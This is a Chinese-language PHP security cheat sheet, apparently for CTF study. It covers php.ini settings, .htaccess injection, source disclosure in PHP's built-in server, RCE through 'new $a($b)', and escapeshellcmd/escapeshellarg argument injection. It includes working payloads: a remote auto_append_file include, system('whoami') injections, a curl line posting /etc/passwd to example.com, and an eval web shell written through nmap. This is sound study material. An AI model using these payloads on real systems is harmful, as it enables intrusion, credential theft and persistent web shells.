跳转至

PHP安全相关配置

函数与类限制

可通过 disable_functions / disable_classes 限制PHP可调用的函数和类。

目录访问限制

可通过 open_basedir 限制PHP可访问的目录。

远程引用限制

可通过 all_url_include 限制远程文件包含,默认关闭。 可通过 allow_url_fopen 限制打开远程文件,默认开启。

Session

  • Session.Save

PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path 中,若有任意读写文件的权限,则可修改或读取session。从phpinfo中可获得session位置。

  • Session.Upload

PHP默认开启了 session.upload_progress.enabled , 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。

那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。

PHP .htaccess injection payload

file inclusion

Text Only
php_value auto_append_file /etc/hosts

code execution

Text Only
php_value auto_append_file .htaccess
# <?php phpinfo();

file inclusion

Text Only
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt

code execution with UTF-7

Text Only
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs

Source code disclosure

Text Only
php_flag engine 0

参考

文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户

PHP Built-in Server的一些漏洞

PHP内置服务器(PHP Built-in Server)是一个轻量级的Web服务器,通过运行PHP命令行界面(CLI)模式下的内置服务器功能,可以在开发和测试阶段中快速启动和运行PHP应用程序。

使用PHP内置服务器,可以在开发环境中方便地进行本地测试和调试,而无需依赖独立的Web服务器(如Apache或Nginx)。它提供了一个简单的命令行界面(CLI)和基本的配置选项,使你能够指定主机名、端口和文档根目录等。

要启动PHP内置服务器,只需在命令行终端中导航至你的项目目录,并运行以下命令:

Text Only
php -S localhost:8000

这将启动一个使用localhost主机和8000端口的PHP内置服务器。然后你可以访问http://localhost:8000来查看你的PHP应用程序。

请注意,PHP内置服务器仅适用于开发和测试环境,不推荐在生产环境中使用。对于生产环境,建议使用专业的Web服务器来部署和运行PHP应用程序。

通过.下载源码

官方于5.6.19版本修复通过.来下载源码的问题

可以通过在最后的php路径后加.来下载源码

Text Only
http://localhost:9090/test/testRCE.php.

通过大写php后缀下载源码

官方在PHP 7.4.10版本中修复了

Text Only
http://localhost:9090/test/testRCE.PHP

经测试,部分大写也可以下载源码

尽管官方修复了这个问题,但随之而来又是一个新问题

PHP/Php等在大小写敏感的系统(如Linux)中是不能被解析成PHP的。但因为修复上述漏洞,导致无论大小写都会被解析,造成一个解析漏洞

通过::$DATA来下载源码

在较新版本,如8.x版本仍可用

Text Only
http://localhost:9090/test/testRCE.php::$DATA

PHP Development Server <= 7.4.21 - Remote Source Disclosure

代码泄露复现

直接拉docker就完事了:

JavaScript
docker pull php:7.4.21 # 拉取镜像
docker run --rm -i -t -p 2333:80 php:7.4.21 /bin/bash # 进入内部shell,映射内部80到外部2333

进入容器内shell之后

JavaScript
echo "<?php phpinfo();?>" > phpinfo.php # 写一个php文件
php -S 0.0.0.0:80 # 开Development Server

复现方法如下,记得要关掉Burp自动修改Content-Length的功能

img

原理分析

PHP Built-in Server在解析TCP数据流时,对于两个HTTP请求,在第二次请求时,如果请求一个非PHP后缀的文件服务器会认为这是一个静态文件,所以将这个文件直接读取并返回。

但这个过程中存在一个逻辑问题,就是在解析第一个请求时遗留下来的client->request.path_translated没有被清理,而这个变量指向的就是第一个请求的文件绝对路径。

所以造成了一个Bug,如果我们发送如下数据包:

GET /info.php HTTP/1.1

Host: 192.168.1.163:9090

GET /xxxxx.css HTTP/1.1

第一个请求指向的是一个正常存在的PHP文件/info.php,第二个请求指向的是一个不存在的静态文件/xxxxx.css。此时在解析第二个请求的时候,会读取到/info.php的文件内容,但又会按照静态文件的方式返回这个文件的源代码,而不是使用PHP解释器进行解析。 导致攻击者可以通过这个trick下载到/info.php的源码

关于new \(a(\)b) RCE的研究

这两年的CTF赛题中,常常会出现形如echo new \(a(\)b)这⼀类的代码,其中\(a和\)b是⽤户可控的,并且有相当⼀部分题⽬是考察选⼿反序列化能⼒,⽽最终的sink点是在echo new \(a(\)b)这⾥

eval("echo new \(a(\)b);")

这⼀类代码是最简单的,很轻松就能RCE,样例代码如下

PHP
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b);");

给a随便传⼀个原⽣类,给b传恶意命令即可:

Text Only
payload:
?a=Exception&b=system('whoami')
?a=SplFileObject&b=system('whoami')

能执行命令的原因是原生类的魔术方法,如Exception的__toString方法会返回转化为字符串的异常结果,在这个过程中,命令的执行结果也会返回,Error类与其处理逻辑相似

echo new \(a(\)b)

这是在各⼤⽐赛中常考的,正因为常考,许多⼤师傅都在挖掘可被利⽤的原⽣类,⽐如:

遍历⽬录类:

  • DirectoryIterator
  • GlobIterator
  • FilesystemIterator

读取⽂件类:

  • SplFileObject(同样也能⽤作SSRF)
  • 等等

通常在CTF中的考法是:

  • flag放在根⽬录下,且名字为为f13gggg这种不能被猜测的
  • flag通常不在同⼀⾏,考察选⼿是否会⽤伪协议去读取
PHP
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

针对这样的代码,读flag的操作步骤如下:

⾸先⽤能遍历⽬录的原⽣类,⽐如DirectoryIterator结合glob读⽂件名

Text Only
?a=DirectoryIterator&b=glob://f*

读到f1ag.php,由于DirectoryIterator返回结果是⼀个迭代器,所以通常直接⽤echo打印出来的是第⼀项,所以需要结合glob协议通配符的特性去⼀点点把flag⽂件名匹配出来 实际上可能需要fuzz一下

然后⽤SplFileObject去读⽂件

Text Only
?a=SplFileObject&b=flag.php

可以看到啥也没读出来,所以需要用伪协议去读取

Text Only
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

new \(a(\)b)

那么问题来了,如果没有echo呢?虽然代码会执⾏,但是我们拿不到结果,并且echo new \(a(\)b);其实也没有从根本上解决RCE这件事,⼤多CTF题都仅限于找⽂件名、读⽂件这⼀步。那假如说flag在环境变量中呢?⼜或者说读flag需要suid提权等操作?

PHP
<?php
error_reporting(0);
show_source(__FILE__);
new $_GET['b']($_GET['c']);
?>

参考文章的那些事.pdf)

PHP短标签与short_open_tag的分析

PHP代码解析过程

PHP的代码在真正执行会经过一长串的处理,其中和代码解析相关的部分则是Zend引擎对代码进行词法、语法分析,编译为opcode执行。

在进行词法、语法分析时,PHP会按照已规定好的词法规则将代码切分为单独的Token,然后再通过bison进行语法处理,当语法出现错误时则会终止执行,也就是我们所看到的各种语法错误提示。

与词法、语法分析相关的规则主要存放在Zend/zend_language_parser.y以及zend_language_scanner.l两个文件中,我们着重关注<?=与<?,其中,在Zend/zend_language_parser.y文件中,对<?=进行了定义:

C
%token T_OPEN_TAG_WITH_ECHO "'<?='"

在zend_language_scanner.l中则定义了相关的re2c规则,<?=与<?与<?php一样,都可以作为PHP代码的起始符:

C
<INITIAL>"<?=" {
    BEGIN(ST_IN_SCRIPTING);
    if (PARSER_MODE()) {
        /* We'll reject this as an identifier in zend_lex_tstring. */
        RETURN_TOKEN_WITH_IDENT(T_ECHO);
    }
    RETURN_TOKEN(T_OPEN_TAG_WITH_ECHO);
}

<INITIAL>"<?" {
    if (CG(short_tags)) {
        BEGIN(ST_IN_SCRIPTING);
        RETURN_OR_SKIP_TOKEN(T_OPEN_TAG);
    } else {
        goto inline_char_handler;
    }
}

<?= 的解析

为了理解其差异,我们先看<?=的处理流程,它的处理流程主要涉及PARSER_MODE、RETURN_TOKEN_WITH_IDENT、RETURN_TOKEN三个方法,其定义分别为:

C
#define PARSER_MODE() \
    EXPECTED(elem != NULL)

#define RETURN_TOKEN_WITH_IDENT(_token) do { \
        token = _token; \
        goto emit_token_with_ident; \
    } while (0)

#define RETURN_TOKEN(_token) do { \
        token = _token; \
        goto emit_token; \
    } while (0)

PARSER_MODE会判断是否elem是否为空,elem是个union结构:zend_parser_stack_elem,主要用于表示词法元素,其定义为:

C
typedef union _zend_parser_stack_elem {
    zend_ast *ast;
    zend_string *str;
    zend_ulong num;
    unsigned char *ptr;
    zend_lexer_ident_ref ident;
} zend_parser_stack_elem;

因此PARSER_MODE主要作用为判断当前是否有词法元素需要解析。RETURN_TOKEN_WITH_IDENT与RETURN_TOKEN的实现较为相似,都是一个goto语句,对应的代码块为:

C
emit_token:
    if (SCNG(on_event)) {
        SCNG(on_event)(ON_TOKEN, token, start_line, yytext, yyleng, SCNG(on_event_context));
    }
    return token;

emit_token_with_ident:
    if (PARSER_MODE()) {
        elem->ident.offset = SCNG(yy_text) - SCNG(yy_start);
        elem->ident.len = SCNG(yy_leng);
    }
    if (SCNG(on_event)) {
        SCNG(on_event)(ON_TOKEN, token, start_line, yytext, yyleng, SCNG(on_event_context));
    }
    return token;

SCNG宏可以对定义的scanner_global全局变量进行取值,scanner_global主要用于存放lexer的状态信息,比如当前处理的指针位置、最后一次处理的token位置等,在上面的elem->ident.offset = SCNG(yy_text) - SCNG(yy_start);这一句中,便是计算当前位置和开始位置从而得出偏移量。

SCNG(on_event)则是取出存放在on_event上的同名函数,on_event可以根据token类型进行对应的处理,函数参数类型为:

C
on_event(zend_php_scanner_event event, int token, int line,const char *text, size_t length, void *context)

对于分析<?=做了什么这个问题来说,分析到这里基本结束了,因此可以得出结论,对于<?=来说,在解析完了echo就会继续后续token的处理,且未看到对于短标签配置的取值判断。

<? 的解析

<?与<?=最关键的区别就在于CG(short_tags)的判断上,CG宏含义为Compiler Globals,与Zend编译器相关的全局变量相关,CG(short_tags)则是取出有关于短标签的配置,随后根据取值来决定是否继续后续的代码执行。inline_char_handler用于扫描不在PHP标签中的内容,因此以<?表示的PHP代码也就不会进行执行。

上述代码的分析在PHP7.4.9下进行,在PHP5.6.31版本下的分析要更为简单,对<?=的写法更为直观:

C
<INITIAL>"<?=" {
    ZVAL_STRINGL(zendlval, yytext, yyleng, 0); /* no copying - intentional */
    BEGIN(ST_IN_SCRIPTING);
    return T_OPEN_TAG_WITH_ECHO;
}

<INITIAL>"<?" {
    if (CG(short_tags)) {
        ZVAL_STRINGL(zendlval, yytext, yyleng, 0); /* no copying - intentional */
        BEGIN(ST_IN_SCRIPTING);
        return T_OPEN_TAG;
    } else {
        goto inline_char_handler;
    }
}

总结:如果编译的时候没有加--disable-short-tags,则PHP默认开启短标签。在PHP5.4以后,即使php.ini中设置了short_open_tag=false,短标签 也不受影响,永远可用。

escapeshellarg和escapeshellcmd绕过

参考文章:

https://www.anquanke.com/post/id/107336#h3-15

https://noahtie.github.io/2021/04/27/escapeshell&escapecmd%E6%BC%8F%E6%B4%9E/

https://paper.seebug.org/164/

CSS
# 举一个例子
172.17.0.2' -v -d a=1   --> escapeshellarg() --> '172.17.0.2'\'' -v -d a=1' 
--> escapeshellcmd() --> '172.17.0.2'\\'' -v -d a=1\' 

escapeshellarg()先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用

escapeshellcmd转义& # ; | * ? ~ < > ^ ( ) [ ] { } $ 、x0A和\,'和"仅在落单时被转义

Bash
# 代入curl
curl '172.17.0.2'\\'' -v -d a=1\' --> curl '172.17.0.2\ -v -d a=1'

参数注入

tar

  • 将some_file压缩至/tmp/sth
PHP
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
  • 创建/tmp/exploit空文件
PHP
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

find

  • 在/tmp目录下查找some_file
PHP
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
  • 输出/etc/passwd的内容
PHP
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));

wget

  • 下载example.php
PHP
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
  • 保存.php文件至指定目录
PHP
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

sendmail

  • 将发件人地址设置为from@sth.com并发送mail.txt
PHP
$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
  • 输出/etc/passwd的内容
PHP
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

curl

  • 获取http://example.com的内容
PHP
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
  • 将/etc/passwd发送到http://example.com
PHP
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));

mysql

  • 执行SQL语句
PHP
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
  • 执行id命令
PHP
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

unzip

  • 从archive.zip中解压所有.tmp文件至/tmp目录
PHP
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
  • 从archive.zip中解压所有.tmp文件至/var/www/html目录
PHP
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');

若未设置LANG环境变量则跳过非ASCII字符

PHP
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'" 
var_dump(escapeshellarg($filename));

使用.bat执行命令

  • 列出somedir中的文件
PHP
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
  • 同时执行whoami命令
PHP
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

可参阅:如何在Windows上传递参数至新进程

escapeshellcmd与escapeshellarg

此时可以向函数传递第二个参数


  • 列出/tmp中的文件并忽略sth
PHP
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
  • 使用长列表模式输出/tmp中的文件并忽略sth
PHP
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

参考文章:https://www.anquanke.com/post/id/168093#h3-5

Question

如果先使用escapeshellcmd,再使用escapeshellarg,还会有类似的漏洞吗?

CSS
# 测试payload:
system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

' <?php @eval($_POST["hack"]);?> -oG hack.php ' --> escapeshellcmd() 
--> ' <?php @eval($_POST["hack"]);?> -oG hack.php ' --> escapeshellarg()
--> '\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\''
--> exec --> nmap -T5 -sT -Pn --host-timeout 2 -F '\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\''
--> nmap -T5 -sT -Pn --host-timeout 2 -F ' <?php @eval($_POST["hack"]);?> -oG hack.php '

可以看出相同的payload在经过处理后只会变成字符串,达不到逃逸的目的

others

PHP Tricks | HackTricks

PHP - Useful Functions & disable_functions/open_basedir bypass | HackTricks

[PHP - RCE abusing object creation: new \(_GET["a"](\)_GET"b"]) | HackTricks

PHP SSRF | HackTricks